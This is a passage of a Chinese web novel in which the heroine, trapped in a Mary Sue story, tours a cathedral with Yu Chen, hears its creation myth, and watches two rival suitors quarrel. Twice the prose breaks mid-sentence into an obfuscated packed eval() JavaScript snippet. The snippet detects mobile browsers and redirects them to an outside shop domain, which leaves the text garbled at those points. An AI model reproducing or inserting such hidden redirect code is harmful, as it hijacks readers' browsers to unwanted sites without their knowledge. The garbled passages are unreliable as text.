【剧情:得知真相的羽尘向泪儿询问她欺骗自己的原因,后来发现是他错怪了泪儿,心中自责不已,也更坚定了要带泪儿去觐见光明女神的决心,于是向她发出正式邀请。善良的泪儿不忍心再拒绝羽尘,便答应了他的邀请,并满怀期待地前往教堂参观。】 【任务:答应羽尘的邀请,在周日准时去参观教堂,听羽尘讲述他的信仰和职责。】 这个任务乍一看好像没什么特别之处,但祁冉凭直觉判断,她这一去肯定会出点什么幺蛾子。 “嗯……可以,我有时间。”祁冉装出思考的神情,最终答应了羽尘的邀请,又对他粲然一笑,“我也很想了解羽尘医生的日常生活。” “那就这么说定了。”羽尘喜上眉梢,仿佛刚才那个泫然欲泣的人不是他一样,“周日早上八点,我会去接你。” 21.光明教会 周日清晨,在闹钟响到第十次时,祁冉终于艰难地从床上爬起来,顶着鸡窝似的七彩长发去卫生间洗漱。 她睡眼惺忪地盯着镜子里的自己,保持着机械的刷牙动作,迟来的起床气让她怒上心头,泄愤似地握紧了牙刷把。 玛丽苏小说女主真是不好当,连周末都不能睡懒觉! “铃——” 她隐约听见一阵电话铃声,便攥着牙刷快步走向卧室。 现在还不到七点□□尘来得这么早? 当她翻开手机盖时,映入眼帘的却是一个意料之外的姓名。 这让祁冉瞬间清醒过来,她连忙按下接听键,有些疑惑地问道:“凌先生,你这么早给我打电话是有什么急事吗?” 对面的凌千幻语气温和,其间夹杂着几分笑意:“抱歉泪儿小姐,这么早打扰你实在冒昧,但我的确有很重要的事要找你。” 他说起了正事:“刚才有一位业界顶尖编剧来找我谈合作,我看了她的剧本相当满意,所以想要采用她的本子拍一部新电影。不过,你是电影的女主角,所以我也必须征询你的意见才能做决定。” 祁冉记得,上周凌千幻曾经邀请她扮演新电影的女演员,她当时为了继续推进剧情只能先答应下来。 她竟然给自己挖了一个大坑! “不好意思凌先生,我待会还有事,没办法赶过去,实在抱歉。”祁冉斟酌着字词说道,“不过我相信凌先生的眼光,能让你满意的作品肯定不会出错,就不用让我过目了。实在不行的话,我改天再过去看剧本可以吗?” “泪儿小姐今天还有其他安排?”凌千幻的语气波动起来,“是慕容少爷又为难你了吗?” 她就知道,一旦她说了自己有事,凌千幻肯定会把关注点放在这句话上。 “没有。”她含糊其辞道,“是我个人的私事。” 可凌千幻铁了心要刨根问底:“泪儿小姐,到底是什么事,是不是有人威胁你?你要是被人绑架了就咳嗽两声……” “没有,你别乱猜。”祁冉赶紧阻止话题越跑越偏,为防止凌千幻继续纠缠,她只好把话说得更清楚些,“是我和一位朋友约好了今天要去克西卓尔大教堂参观,这是我们周一就定下的日程,我不能违约,还请凌先生见谅。” 克西卓尔是羽尘家族所管辖的教堂的名字。 “克西卓尔?”凌千幻的语调听起来有些不快,“是神圣家族管理的那座大教堂吗?” 祁冉以前听羽尘说过,人们将他所属的家族称作神圣家族:“是的。” 电话那头沉默片刻,才再次发出一点声音。 “好,我知道了。”凌千幻的恢复了平时温润的语气,“那祝你玩得开心。” 挂掉电话后,祁冉盯着凌千幻的名字看了几秒。 他刚才绝对是又想到了什么吧,那个可疑的停顿还有他反常的表现肯定有问题! 不过凌千幻提到慕容绝,这倒让祁冉想起他来了。他最近出奇地安静,没再搞出什么惊天动地的大事,兴许因为洛玄帮她有效屏蔽了慕容家的信号。 但祁冉心里总是七上八下的,总觉得事情没这么简单。俗话说得好,“孩子静悄悄,必定在作妖”,上次她把慕容绝彻底得罪了,搞不好他正在酝酿什么针对她的大阴谋,不鸣则已一鸣惊人,要来就憋个大的! “叮——咚——” 门铃声打断了祁冉的胡思乱想,与此同时门外响起羽尘的问候声:“泪儿小姐,请问你在家吗?我来接你去教堂。” “哦,我在。请稍等,我马上就来!” 祁冉连忙冲进卫生间,猛灌几口水漱掉嘴里的牙膏沫,又迅速抓起梳子捋顺她的彩虹爆炸头,随便抹了把脸,一只手窜进外套袖子里卷着衣服就跑,紧急得像是要奔赴战场。 等她跑到门口时,她已经成功地套上了另一只衣袖,衣着光鲜地打开门欢迎羽尘,露出热情的微笑:“羽尘医生,真是麻烦你了,这么早就要过来接我。” “泪儿小姐不用客气,平时我也起得很早,规律作息于身体健康有益。”羽尘和祁冉说了几句客套话,将祁冉从头到脚打量了一番,“你收拾好了吗?” “好了。”祁冉说完才意识到她好像不太尊重羽尘,教堂对他来说是个相当神圣的地方,但她都没有认真打扮一下。 她有点局促地问道:“等等,我穿成这样能行吗?” “当然可以。”羽尘笑意温柔,“你平时就很美,今天更是光鲜亮丽。” 不要睁着眼睛说瞎话啊,她连脸都没洗! 她的光鲜亮丽是哪里来的,油脂反光发亮吗! 祁冉觉得她这副尊容根本没法出去见人,便向羽尘申请了五分钟的时间,趁这会功夫重新整理了一下自己的仪容仪表,然后和他一起前往克西卓尔大教堂。 祁冉看了看窗外不断后退的景色,她家到教堂还有一段车程。秉持着提高效率的原则,根据任务内容,她转过头,主动向羽尘提问:“羽尘医生,你的家族成员都管理着教堂,那你除了在艾利牛顿任职校医以外,还需要在教堂承担什么职责吗?” “当然。”羽尘微微一笑,“不过这说起来有些复杂,为了让你听得更明白些,我得从光明教会的起源还有我们的家族历史讲起。” 祁冉向来喜欢听故事,她来了精神,兴致高昂地应道:“好的,羽尘医生你慢慢讲。” “起初,我们身处的这整个世界都处在一片混沌中,目之所及都是一派黑暗荒凉的景象,没有宇宙,更不要说星球和生命了。后来,是伟大仁慈的光明女神提取出这个世界的本源能量,利用它创造出众多美丽的事物,从此世上便有了日与月,天与地,飞鸟与游鱼。所以,我们都应当尊敬信奉光明女神,如果没有她,我们就不会诞生。” 祁冉点点头,这个设定也是够经典的,一瞬间让她想起来不少小时候看的动画片。 不过,根据她这段时间对这个世界的了解,羽尘所说的这段故事更像是一个神话传说,并没有任何科研成果或者史料记载来佐证,围绕“光明女神”建立的信仰体系和现实世界中的许多宗教一样,都是自由心证的东西。 于是,祁冉保持着中立态度听了下去。 “至于她创世时所用的宇宙本源能量,它们原本是一个整体,是光明女神将它们一分为二。其中,最为光明纯净的那一半叫做‘圣光之泪’,代表‘创造’,而另一半叫做‘幽冥之渊’,它是世界上所有黑暗与邪恶的集合体,代表‘毁灭’……” “不好意思羽尘医生,我想问个问题。”祁冉打断羽尘的话,她发现了一处矛盾,“光明女神为什么要把这份能量分成两半?” 这不是相当于主动制造出一个巨大的隐患吗! “泪儿小姐,你问得很好,我接下来正要讲这个。”羽尘笑了笑,耐心解释道,“因为光与暗总是相伴相生,但女神创世时怀着最美好的祝愿,她不想让这个世界染上那些杂质与污秽,所以只使用了‘圣光之泪’的力量,‘幽冥之渊’则被她封印。” 祁冉表现出了然的神情:“原来如此,我明白了。” 她明白了,原来这位光明女神是个完美主义者! “就这样,光明女神创造了宇宙万物,又守护它们逐渐走上正轨,最终耗尽了全部力量,不得不陷入沉眠。”羽尘沉浸在自己的讲述中,脸上浮现出一丝哀伤,“可是她知道,人类实在是太渺小了,如果失去她的庇护,我们必然难以长久存续。所以,为了人类能够获得永恒的安宁与幸福,她在离开前将‘圣光之泪’托付给了人类中的贤者们,让他们带领自己的同胞走向更加繁荣与辉煌的未来。” 祁冉觉得,虽然这个创世故事很俗套,但听起来还是挺温暖积极的。 按照正常套路发展,这些贤者的身份也很明确了。 她向羽尘问道:“这些贤者就是光明教会的第一代创始人?” “泪儿小姐果然聪慧。”羽尘微笑着点头,“我的祖先也在他们当中。在建立光明教会后,他被推选为主教,并谨遵教义,对自己的后代执行相当严格的教育,让我们从小就懂得悲悯众生,聆听他人的苦难并感同身受,致力于让所有人过上幸福的生活,像女神一样博爱仁慈,拥有包容万物的宽广胸怀,无论何时都不应拥有愤怒、嫉妒、贪婪等罪恶或阴暗的情绪。” 前面的那些要求也就罢了,但最后一句话让祁冉产生了疑问:“普通人真的能达到这种境界吗?” 一个人如果能完全抛却自己的负面情绪,那他或她简直可以被称为圣人了,这教育听上去确实很严格。 “当然可以。虽然修行之路充满艰辛与坎坷,但不得不说,我的祖辈们都为下一代树立了很好的榜样。”羽尘回答,他的语调有些自豪,像是提到了一个属于他的荣耀,“这样的美德在我们家族代代相传,久而久之,我们就被他人称为‘神圣家族’,成为威望最高的女神信徒,在教会中占据着重要地位。” “我明白了。”听完背景故事,祁冉消化了一会这些信息,开始进入正题,“所以羽尘医生,你的职责是什么?” “我是光明教会的现任圣子。”羽尘解释道,“不过光明教会中的圣子或圣女与光明女神并没有实际意义上的关联,我们所代表的含义都是由教众和信徒们赋予的。圣子与圣女都在我们的家族中诞生,当上一任圣子或圣女辞世后,众位教会要员就会在我们的家族中挑选足够优秀的孩子担任下一代圣子或圣女,那个孩子将传承女神的意志,担负传递和践行神谕的职责,比如在重要场合传播教义,参加重大宗教活动等。” 祁冉不解地问道:“但这些不都是神职人员的职责吗?为什么还要额外再选一个孩子作为圣子或圣女?” “因为我们需要这样一个人作为光明女神的代行者。”羽尘温和地笑笑,“作为女神的信徒却无法见到她的真容,这对我们所有人来说都是一种遗憾。所以,如果一个人身上有她的影子,那对我们来说多少是个慰藉。” 祁冉有个疑问:“羽尘医生,既然你是圣子,那为什么没有把神职作为你的主业,反而当了医生?这是被允许的吗?” “是的,圣子或圣女不一定要成为神职人员,因为我们相信,所有人都可以像光明女神一样崇高。在选拔圣子或圣女时,我们的唯一标准是看那个孩子是否足够善良仁慈,是否拥有像光明女神一般纯净无瑕的品格。”羽尘说道,“我选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819298|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择学医也是因为在我看来,医生是比神职人员更靠近光明女神的存在。” 祁冉大致清楚了,这个所谓的圣子或圣女就相当于是一名兼职牧师,作为一个象征符号存在,他们可以不把从事宗教活动当作自己的主业。 不过这个选拔也真够卷的,按照羽尘的说法,神圣家族对内部成员的要求本来就比别人更严格了,结果还要从他们里面选出品德最高尚的那个,和养蛊似的。 祁冉抬头看向面前的蛊王羽尘,眼中带上了几分对清北的年级第一般的敬畏。 “羽尘医生,你能做到今天这种程度真是太不容易了,你一路走来肯定非常辛苦,身上背负着旁人所不能理解的沉重压力。” 这是她的真心话,在这种环境中长大,光是思想负担就足以把一个人压垮。祁冉觉得,如果换作是她,她早在听说自己被选上圣女的那天就一二三跳了。 羽尘讶然地看着她,眼神呆滞了一会。他嚅动着嘴唇,却在几秒之后才发出声音。 “泪儿小姐,你是第一个和我这样说的人。一直以来,我听到的都是家族成员的要求,还有其他教众的求助。” 所有人都关心他飞得高不高,没有人问他飞得累不累是吗? 不过羽尘现在的情绪很低落,祁冉也不太好意思再吐槽他。 很快羽尘就调整好了状态,重新抬起头笑道:“不过,这是我身为圣子的使命和职责,如果大家能从我身上汲取到力量,感受到幸福,那我经历的这些苦累也不算什么。” 大善人啊! 虽然祁冉总说羽尘不正常,但他这句话确实深深触动了她。 为缓和羽尘的情绪,也是出于她个人的好奇,祁冉提起一个新话题。 “那现在‘圣光之泪’在哪?它和‘光明女神’一样,都被你们供奉在教堂里面吗?” “不。经过这么多年的更迭,‘圣光之泪’早就不存在实体了,但它就在我们每个人的内心深处。”羽尘的神情充满虔诚,仿佛正沐浴在神光之中,“只要我们努力修行,就能凝练出最高尚的品德,拥有最纯净的灵魂,而它就是‘圣光之泪’送给我们的祝福。” 祁冉静默地旁观着羽尘闭上双眼,他轻抚自己的心口,好像触到了圣光之泪中蕴含的能量。 她刚才的感动荡然无存。 这不纯粹糊弄人吗? 谁要是信这个,等那人老了她就给对方卖保健品! “就像这样,它可以让我们获得心灵的安宁与平静。”羽尘在心中默念了一遍祷文,然后睁开眼睛,热情地向祁冉传教,“泪儿小姐,你也可以试试。” 为了照顾羽尘的情绪,祁冉还是装模做样地闭上眼睛,将手放在心脏的位置:“这样吗?” “对。”羽尘帮祁冉调整了一下手臂的姿势,好让她的身体更放松一些,轻声引导她,“现在你可以在脑海中想象一些美好安静的意象,比如一望无际的金色麦田,远方有风车在慢悠悠地转动。它们上方是瓦蓝的天空,上面缀着如絮的白云,一切都是这样澄澈祥和,正如你的内心……” 祁冉跟随羽尘舒缓的语调慢慢沉入想象空间中,渐渐地,她眼前真的浮现出一片金灿灿的麦田,麦粒饱满圆润。一阵清风拂过,麦浪上下波动起来,宛如流动的碎金,又像是金色的海浪…… 当祁冉再次听到羽尘的声音时,他说了这样一句话。 “泪儿小姐,醒醒,我们该下车了。” 祁冉迷迷糊糊地睁开眼,她发现在自己眼里,前车的车座是倾斜的。 她猛然意识到一件事,迅速从羽尘的肩膀上抬起头来:“对不——” 道歉的话还没来得及说出口,祁冉就发现她还干了一件失礼的事。 一条晶亮的银线从她的嘴角一直扯到羽尘肩头,像极了她刚才留下的那个破折号。 救命,她在听羽尘传教的时候不但睡着了,而且还靠在他肩膀上了,更糟糕的是把口水流到他身上了! 祁冉窘迫得无地自容,慌忙从随身带的挎包里掏出纸巾,像立本人那样疯狂鞠躬和道歉:“对不起羽尘医生,真的很抱歉,我不是有意睡着的,压到你的肩膀实在不好意思,你讲得很有趣,是我太困了——啊不是,是我自己昨晚没睡好,因为我一想到今天要来参观教堂就很激动……” 她越是着急解释就越是口不择言,但这个时候她还谨记着自己当前的人设,疯狂改口给自己找补。 羽尘被她手足无措的模样逗笑了,十分大度地宽慰她:“没关系,泪儿小姐,反正我待会要去教堂换衣服,不碍事的。” 祁冉见他笑得一脸灿烂,还显露出几分幸福的神色,反而觉得更尴尬了。 她下了车跟在羽尘身边,却根本听不进去他说的话,只是双目无神地往前走着,偶尔附和着他点点头。她头一次庆幸这些男主都对她有万米厚的滤镜,要不然她今天晚上睡觉前肯定会在脑子里循环播放她刚才干的事! “……泪儿小姐,欢迎来到克西卓尔大教堂。”这句欢迎辞拉回了祁冉的注意力,她赶忙聚焦视线,抬头望向面前那扇对她敞开的大门。 在步入教堂的瞬间,祁冉就因它内部恢弘壮丽的景象而发出惊叹。 22.争端 教堂的地板全部由一块块黑白琉璃砖铺就,它们表面光滑,形状简约,映照出行走在其上的人们的身影,又折射出绚丽夺目的光彩。几根廊柱静默地站在地砖之上,整齐地分列成两排,一直延伸至教堂的拱顶,柱身上面刻有形态各异的天使图案的浮雕,工艺精湛而华美;墙壁上则涂满了色彩庄重的壁画,烛火与油灯映照着圣徒们的脸庞,令他们眼中闪烁着安静的光芒,仿佛在驻足凝望教堂的到访者。 在众多圣徒视线的包围下,祁冉不自觉挺直了腰背,转而看向前方。她的目光越过一排排长椅,在它们前方正中央的位置是一尊巨大的女神像,几乎要触及屋顶;在她身后则是一扇落地式的彩窗,像是连通着天花板和地砖之间的桥梁,光线透过它为地面投射下五颜六色的光斑,让她一时恍了神,分不清哪些色彩是地板本身具有的。 “克西卓尔大教堂简直可以作为旅游景点对外开放了。”眼前的一切都像是建筑设计师巧夺天工,祁冉对此赞不绝口,“它比我以前见过的所有教堂都要宏伟气派,走进这里的人一定都会被它震撼。” 难怪教会中的神职人员往往还是文艺界的杰出人才,没点本事还真唬不住人。通过这种感官与审美冲击,参观者确实很容易沉醉其中,感受到信仰的美好与力量,认为这一切都是神迹降临。 就和现在的二次元和追星等文娱活动类似,它们本质上都是利用人们对精神愉悦的追求吸引受众。 “克西卓尔的确是这片教区最有名的教堂,它欢迎所有虔诚而纯净的人。”羽尘笑着回应祁冉的话,“只有那些罪恶且不知悔改的人不会被允许踏入这里。” 在带着祁冉逛完一圈后,一行人重新回到教堂中殿,羽尘看了看那台复古的指针式挂钟,对祁冉微微欠身道:“泪儿小姐,今天的祝祷仪式就要开始了,我得先去换衣服,失陪一会,抱歉。” 说完,他又叫来教堂中的一名修女,请她祁冉详述仪式的流程以及注意事项。 祁冉跟随修女在前排坐下,一面听着她的讲解,一面目送羽尘的身影消失在走廊尽头。 根据修女的讲述,他们今天的仪式大体可以分成诵经、祷告、献礼三部分,其中羽尘所说的“唱诗班表演”就属于献礼环节,除此之外还有舞蹈与神剧演出。祁冉是个无神论者,所以对大多数环节都兴致缺缺,唯一好奇的是神剧内容。 大概十五分钟后,一名身着白袍的壮年男子从旁边的走廊中现出身形,稳步走到讲道台后方。虽然在这个过程中他没有说一句话,也没有示意殿中的众人安静,可当大家看到他时,所有人都奇迹般地陆续停止了谈论,噪音渐渐小了下去。当男子在讲道台后站定时,殿内已经是鸦雀无声。 受到这种庄严肃穆的气氛感染,祁冉也不敢做什么大幅度的动作,只是悄悄地打量着周围屏息凝神的信徒,看向前面的男子。 “尊敬的光明女神在上,感谢诸位女神信徒莅临克西卓尔大教堂,无论是天上飞的,地上行走的,还是水里游的,我作为这里的教长,都将代表女神的圣意对你们一视同仁,欢迎诸位的觐见……” 祁冉大概明白了,他是这个教区的教长,也是今天的仪式主持人。 “……首先,我们有请万众瞩目的,尊名为‘闪耀天使’的现任圣子——圣·羽尘为诸位诵经,并带领大家向女神献上虔诚的祷告。” 因为身处于这样一个庄严的场合,祁冉在桌子底下用力掐着自己的手,维持住严肃认真的表情。 哈哈哈哈哈哈“闪耀天使”是什么鬼! 他和凌千幻那个“幻影之主”坐一桌吧! 她小时候怎么总是把精力放在这种不重要的细节设定上啊! 不过,当羽尘的样貌映入眼帘的瞬间,祁冉就忘却了这个槽点。 和她平时见到的羽尘不同,此时他正穿着一袭教会统一制式的白色长袍立于女神像前,但那服装显然要比普通职员考究精致得多,剪裁合身的服装勾勒出他兼具力量与美感的腰线,镶着金丝的领带与圣带都一丝不皱地自然垂落在他身前,随着他的动作微微摇晃,轻柔地擦过他身上的布料。尽管他的肩膀被那件绣着暗纹的披肩遮得严严实实,但依然能显露出他利落的颈肩线条,这样若隐若现的场景反倒更是惹人遐思。 过了几秒钟,祁冉才回过神,注意听羽尘在说些什么。 “……感谢诸位同胞来访,正是因为你们的存在,女神的意志才得以延续至今,她的神光才能够洒遍世间大地。”羽尘浅金色的头发在阳光下熠熠生辉,晃得人心旌摇曳,他带着浅淡的笑意,一面说着自己的致辞,一面向祁冉投来温柔的一瞥。 妈妈,她真的看见天使了! 祁冉现在严重怀疑羽尘对她有所隐瞒,他们选拔圣子圣女的标准里肯定有颜值这一项,好利用美色勾引别人入教。 她现在终于理解为什么有人说“穿得越严实越具有诱惑力”了。 “……现在,请大家和我一起向女神祈祷。” 随着羽尘的引导,祁冉也和身边的众人一样,双手交叉紧握,低下头颅闭上双眼,神色虔诚。 她要向光明女神忏悔,她有罪,竟然敢在这样一个神圣的地方,对她的圣子产生亵渎之心! 前面两个环节结束后,羽尘与教长完成交接,由他进行接下来的主持工作。不多时,唱诗班的众人就按照各自的位置站齐,指挥也已经在台上就位。 在祁冉的刻板印象中,宗教圣歌的内容大多是一些饱含感激的赞美诗,主要为了歌颂某一教派所信奉的神明的伟大功绩。所以,她漫不经心地靠在椅背上,抱着随便听听的态度,看着指挥举起了手。 随着他的手腕微动,低沉的男声与高亢的女声混在一起,形成一股饱满而有力的嗓音,共同唱响了一首人尽皆知的歌。 “起来,饥寒交迫的奴隶!起来,全世界受苦的人……” 听到这气势磅礴的大合唱,祁冉腾地一下就坐直了,不敢有丝毫怠慢。 她迅速撤回了刚才的想法。 谁说这信仰不好的,这信仰可太好了! 祁冉完全沉浸在唱诗班的歌声中,为歌曲的感染力而热血沸腾,因此她没有注意到,这时有一个熟悉的人影出现在门口,然后走进教堂,一路向她靠近。 在一曲结束的空隙,那人也恰巧来到祁冉身边。 “泪儿小姐,请问你旁边有人吗?” 她还没从歌声的余韵中缓过神来,便随口应了句:“没有,你随便坐。” 话说出口她突然意识到不对劲,这声音她今天早上才听过! 祁冉赶忙抬起头,大惊失色地看向挨着她坐下的凌千幻,压低声音问道:“凌先生,你怎么来了?” “我处理完工作上的事,正好有空闲时间,就想出来走走。”凌千幻笑道,一副坦然的模样,“早上我听你提到克西卓尔大教堂,就突然想起我很久没来了,所以我也想趁这个机会过来看看。” 他这话说得有理有据,祁冉确实无从反驳。她总不能限制凌千幻的行动自由,不许她和自己来同一个地方。 但是她已经总结出规律了,只要有两个男主凑在一起,他们必然会发生争执,她就必须要充当和事佬的角色。 早知道她就给他瞎编一个去处好了! 不过祁冉注意到,他刚才的那番话里还包含了一个信息,便向他问道:“凌先生,听你的意思,你以前来过这里?” 凌千幻目视前方,唱诗班还在那里演唱着颂歌:“当然。不止如此,我对神圣家族也很熟悉。” 不知道为什么,他这话听起来有几分揶揄的意味。 他不会和神圣家族有什么过节吧,或者对他们有成见? 要是这样的话,他待会如果碰见羽尘,那肯定又会发生一场酣畅淋漓的争斗。 于是祁冉打着圆场,挑凌千幻感兴趣的话题说了起来,试图提升他对神圣家族的好感:“我对神圣家族的了解倒是不多,不过可以看出,他们的确把克西卓尔大教堂管理得很好。你看,这里的浮雕和壁画都具有很高的美学价值,一看凝结了不少设计师的心血,也有精心养护的痕迹。” “那又有什么意义?”凌千幻并不赞同祁冉的话,他有些消沉地说,“泪儿小姐,你还记得吗,上次会面时我曾对你说过,艺术是人类文明的结晶,它必须体现某种人文情怀。可是,神圣家族却并没有践行这一点,他们假借女神的名义做了很多党同伐异的事,家族成员也尽是道貌岸然的伪君子。” 祁冉听着凌千幻对神圣家族的锐评,产生了一丝疑惑。 这不对吧,他是这种毒舌刻薄的人设吗? 神圣家族到底怎么得罪他了! 她小心翼翼地试探道:“凌先生,你为什么要这样说?你过去和神圣家族有什么来往吗?” “不,但我通过我的个人渠道可以了解到很多事。”凌千幻语气淡然,“神圣家族的所作所为根本就是对艺术的玷污,也是对女神的不敬。” 祁冉懂了,因为凌千幻觉得神圣家族污染了他心中最纯净最珍贵的宝藏,所以他才会对他们抱有鄙夷的态度。 “我不清楚神圣家族都做了什么事,所以不敢下定论说他们是好还是坏,但我可以保证我的朋友都是善良正直的人。”既然她改变不了凌千幻对神圣家族的看法,便只能从另一个角度把羽尘单独择出来,“其中一位朋友就是神圣家族的成员,也是邀请我来教堂的人。他……” 祁冉的一席预防针还没打完,就看到她话里的主人公闪亮登场。 在羽尘负责的部分结束后,他已经换上了便装回来找祁冉。他从座位的另一边进来,换那位修女回去工作。 这下好了,凌千幻和羽尘一左一右地坐在她两边,刚好把她夹在战场正中央。 她很想逃跑,可是两边各有一员大将把守,没有给她留出任何一条生路。 祁冉只好强行挤出一个微笑,对凌千幻把接下来的话说完,把羽尘介绍给他:“他就是我说的那位朋友,圣·羽尘,也是艾利牛顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827479|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校医院的院长。” “我知道。”两人的手在祁冉面前交握,凌千幻脸上挂着温和的微笑,全然不见刚才那副不满的情绪,“羽尘医生是享誉全球的神医,又是光明教会的现任圣子,我久闻大名。” “哪里,这话应该由我来说才对。”羽尘谦逊地笑笑,声音温润如玉,“凌先生是家喻户晓的明星,和您见面实在是三生有幸。” 祁冉松了口气,至少这两人在明面上还都挺客气的,没有直接亮出对彼此的敌意。 不过她很快就觉得,自己还是高兴得太早了。 凌千幻像是闲聊般地随意问道:“羽尘医生,据我所知,泪儿小姐没有任何宗教信仰。你怎么突然想起带她来克西卓尔大教堂?” 这话翻译一下就是,你带一个无神论者来自己家管的教堂,肯定是不怀好意吧? “我只是在履行我的职责而已,让更多的人了解女神,知道她的伟大功绩。” 羽尘这句话说得滴水不漏,人家就是干这行的,传传教也没什么毛病。 他乘胜追击道:“更何况凌先生也是光明女神的信徒,你应该也想让泪儿小姐加入我们吧?” 这下凌千幻完全被他拉进了同一立场,他不可能再从这点进行反驳。 他笑了笑,拿出杀手锏:“没错,但我不会向泪儿小姐隐瞒事实。羽尘医生,你真的把全部真相告诉她了吗?” 祁冉精神一振。 什么,有瓜吃? 羽尘的眼中出现几分警惕:“你这是什么意思?” 凌千幻轻轻摇头:“多说无益。羽尘医生,你是泪儿小姐的朋友,所以我也不想当面戳穿你,但你隐瞒了什么自己心里清楚。” 怎么凌千幻也是谜语人啊! 这件事懂的都懂,不懂的他也不方便说是吧! 见羽尘陷入沉默,凌千幻又补了一句:“羽尘医生,你真的像你表面上表现出来的那样高尚吗?你和神圣家族的其他成员一样,都是说一套做一套的人吧。” 羽尘猛然抬起头,紧紧地盯着凌千幻,眼中情绪复杂,愤怒、惊愕、疑惑、猜忌交织在一起,好像被凌千幻这句话造成了暴击。 祁冉虽然不了解内情,但也觉得他这话说得有点过分,毕竟骂人殃及亲属确实很令人气愤,连忙劝解他:“凌先生,你言重了。” “不,泪儿小姐,如果你知道神圣家族的真面目,你会觉得我已经相当留情了。”凌千幻不肯让步,又对羽尘说道,“羽尘医生你也不用太过生气,我并不是针对你个人,我是说神圣家族的各位都是垃圾。” 他这是劝人的话吗,这分明是火上浇油! 赶在祁冉开口前,羽尘又作出了反击:“凌先生,你字字句句都在指责我们,但你有没有想过,你这样的行为又算什么?” 他语气从容而平和,却字字珠玑:“我之前看过你的采访,你说自己向往和平安宁的生活,反对世间的一切争斗,可现在你却主动来到这里挑起争端,甚至还在女神面前污蔑我的家人,这就是你口中的‘和平安宁’吗?难道你不是说一套做一套的人?” 凌千幻忽然笑起来,仿佛听到了一个滑稽的笑话:“真是有趣,你们自己做了那些见不得人的事,竟然还不许别人揭露。难道我作为和平主义者,就只能眼睁睁地看着你们作恶,只要敢插手就是违背自己的信条?” 尽管两人的声音都不大,语调也并不激动,在旁人听来还以为他们只是在闲聊,但被夹在中间的祁冉还是如坐针毡。 这下真是左右为难(一语双关版)了! 如果说凌千幻和慕容绝是正面交锋,那他和羽尘的对话就是笑里藏刀,可怕程度还要翻个十倍有余。虽然系统没有给祁冉发布任务,但她在焦灼的气氛当中万分煎熬,于是主动上前劝架。 “凌先生——” 他摆摆手,继续和羽尘唇枪舌战。 “羽尘医生,请——” 羽尘按按她的肩膀,甚至没抽空和她说上一句话。 她根本插不进这两人的对话里! 祁冉实在想不出办法了,决定采用一个经典套路,引入外因暂停他们的争吵。 她故作惊讶地回过头看向教堂门口:“看,那是谁来了!” 话音刚落,羽尘和凌千幻的确如她所料地停下争执,一齐转过头。 但祁冉并没有如期执行她的劝架计划,因为教堂门口赫然出现了一大群西装革履的保镖。 现在她脸上的惊愕一点都不像演的。 这是什么言出法随现场,她只是随口一说,还真的应验了! 接着,祁冉看到从那群人中走出一个颇具傲气的身影。根据要求,他只带了两名贴身保镖进入教堂,四下张望着好像在寻找什么人。 在祁冉看清那人面容的同时,对方也恰好对上她的视线,于是朝她快步走来。 祁冉差点晕厥过去。 怎么偏偏是慕容绝! 这下倒好,斗地主要改成打麻将了! 23.三个男人一台戏 考虑到祁冉身边没有第三个座位可以容纳慕容绝,当他表明自己正在四处寻找祁冉并且有重要的事告诉她后,羽尘尽了地主之谊,请他们教堂中的接待室说话。 祁冉坐在桌边,沉默地看着周围正在互相寒暄的三个人。 在她对面,是明显有备而来的慕容绝;左手边,是用行动诠释演技的实力派影帝凌千幻;右边,是最先邀请她来克西卓尔大教堂的东道主羽尘。 所以现在是什么情况,她是在参加非诚勿扰还是准备接受三堂会审? 三人的闲聊结束,慕容绝开门见山道:“凌先生,还有羽尘医生,我有话要和泪儿小姐单独说,能否请两位暂时回避一下?” “抱歉慕容少爷,克西卓尔大教堂是由神圣家族管辖,在这里发生的事不能脱离我的视线,更何况泪儿小姐是我请来的贵宾,我必须对她的安全负责。”羽尘微微一笑,拿出了一个正当理由,“所以我不能离开这,请慕容少爷见谅。” 凌千幻则用上次两人见面时的情景反驳:“慕容少爷,之前泪儿小姐就曾经受到你的威胁,出于安全考虑,我不可能让她与你独处。” 慕容绝见状明白他绝无和祁冉单独说话的可能,便打消这个念头,转而面向祁冉,带着平时傲然不群的气度,直截了当地说道:“泪儿小姐,我今天是来向你道歉的。” “道歉?” 祁冉怀疑自己听错了,这话居然是从慕容绝嘴里说出来的? 而且他说这话时的语气分明和挑衅一样,这是道歉应有的态度吗! “是的。”慕容绝瞥了凌千幻一眼,“正如凌先生所说,先前我对你做了很多冒犯与失礼的事,不过现在我已经充分认识到了我的错误。” 他微微颔首,但他的语调并没有随之变得柔软:“所以,我希望泪儿小姐能允许我向你表达歉意,并且给我一个机会,让我对我的所作所为作出解释,同时弥补我的错误。” 祁冉不知道慕容绝葫芦里卖的什么药,谨慎地问道:“什么机会?” “我想带你去一个地方,一个我很喜欢的地方。”他轻轻扬起唇角,“如果我们能一起前往那里,我兴许能更快地消除我们之间的隔阂。” 祁冉心中警铃大作,比起慕容绝突然转性,她更愿意相信他是想出了什么整治她的新花招! 在祁冉开口拒绝之前,羽尘率先替她驳回了慕容绝的邀请。 “慕容少爷,这不合适吧?”羽尘说道,“是我先邀请泪儿小姐来克西卓尔做客的,您突然过来让她和您走,是否有些失礼?” “泪儿小姐是您的客人?”慕容绝没有正面回答这个问题,转而把凌千幻扯了进来,“那凌先生为什么会在这里?” 